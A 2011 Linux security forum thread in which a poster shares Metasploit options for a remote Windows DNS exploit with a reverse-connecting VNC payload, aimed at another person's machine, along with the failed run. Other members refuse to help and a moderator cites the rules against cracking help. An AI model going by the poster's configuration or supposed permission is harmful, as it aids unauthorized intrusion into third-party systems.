Linux - SecurityThis forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.
Notices
Welcome to LinuxQuestions.org, a friendly and active Linux Community.
You are currently viewing LQ as a guest. By joining our community you will have the ability to post topics, receive our newsletter, use the advanced search, subscribe to threads and access many other special features. Registration is quick, simple and absolutely free. Join our community today!
Note that registered members see fewer ads, and ContentLink is completely disabled once you log in.
If you have any problems with the registration process or your account login, please contact us. If you need to reset your password, click here.
Having a problem logging in? Please visit this page to clear all LQ-related cookies.
Get a virtual cloud desktop with the Linux distro that you want in less than five minutes with Shells! With over 10 pre-installed distros to choose from, the worry-free installation life is here! Whether you are a digital nomad or just looking for flexibility, Shells can put your Linux machine on the device that you want to use.
Exclusive for LQ members, get up to 45% off per month. Click here for more info.
Alright so i am using Metasploit and Nessus hand in hand. I found an open port that was Rated Medium by Nessus when scanning on someones machine so i figured i would to to exploit it. After watching a video and putting in information i came up with this....
Name Current Setting Required Description
---- --------------- -------- -----------
Locale English yes Locale for automatic target (English, French, Italian, ...)
RHOST 200.1.1.*** yes The target address
RPORT 5353 yes The target port
Payload options (windows/vncinject/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AUTOVNC true yes Automatically launch VNC viewer if present
EXITFUNC thread yes Exit technique: seh, thread, none, process
LHOST 200.1.1.*** yes The listen address
LPORT 4444 yes The listen port
VNCHOST 127.0.0.1 yes The local host to use for the VNC proxy
VNCPORT 5900 yes The local port to use for the VNC proxy
The port that was open was 5353. I think my problem lies in the area of "ms07_msdns_zonename" since the name in the first place was msd(or something very similar)
[*] Started reverse handler on 200.1.1.***:4444
[-] Unable to use automatic targeting when RPORT is given
[*] Exploit completed, but no session was created.
Sorry for the...stupidity...of this post i guess.
Last edited by dirtydog7655; 03-09-2011 at 12:10 PM.
Well does it help if i say that im in class doing this? Its in my CIT class. The kid is doing things he isnt suppose to. So me and another friend have permission to stop him.
Well does it help if i say that im in class doing this? Its in my CIT class. The kid is doing things he isnt suppose to. So me and another friend have permission to stop him.
No it doesn't help. We have no way of verifying your claim and even if we did, this is a public forum and helping you crack a machine would be helping anyone crack a machine.
No it doesn't help. We have no way of verifying your claim
I'd go one further here - OPs claim is likely bogus.
If someone is doing, "bad things" on a network, and the admin/operator/net manager knows about it - they would boot that person off. Since anyone who has the authority to do so is also the one who would be giving you permission, we can conclude that it is far more likely that you do NOT have permission from the appropriate authority. Since OP is abusing someone's machine (and we don't know whose), and likely has no proper permission to do so, OPs actions are at worst illegal, and "at best" unethical.
Quote:
Originally Posted by Hangdog42
and even if we did, this is a public forum and helping you crack a machine would be helping anyone crack a machine.
I don't agree with this philosophy. The more information regarding attacks we have, the better prepared we can be against them (see some of the controversies surrounding the famous duel between Miyamoto Musashi and Sasaki Kojiro - especially the almost universally present element of Miyamoto's fashioning a wooden sword which was 90cm long to defeat Kojiro's standard 70cm long sword).
That said, given the fact that the OP wants this information strictly for unethical action, I agree that withholding this information is prudent. Especially since google exists.
The forum rules do not permit asking for information about or help with cracking, piracy, warez, fraud or any topic that could be damaging to either Linuxquestions.org or any third party. Please visit http://www.linuxquestions.org/linux/rules.html for more information. Feel free to contact me by email if you have any questions about the LQ Rules.
LinuxQuestions.org is looking for people interested in writing
Editorials, Articles, Reviews, and more. If you'd like to contribute
content, let us know.